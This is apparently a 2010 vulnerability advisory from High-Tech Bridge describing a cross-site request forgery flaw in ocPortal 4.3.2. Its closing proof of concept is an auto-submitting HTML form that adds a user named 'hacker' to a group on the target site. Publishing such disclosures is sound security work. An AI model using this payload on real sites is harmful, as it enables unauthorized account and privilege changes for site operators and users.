Vulnerability ID: HTB22369 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ocportal.html Product: ocPortal Vendor: ocProducts Ltd Vulnerable Version: 4.3.2 and Probably Prior Versions Vendor Notification: 05 May 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/site/index.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/site/index.php?page=groups&type=add_to&id=2"; method="post" > <input type="hidden" name="username" value="hacker" > </form> <script> document.forms[0].submit() </script>
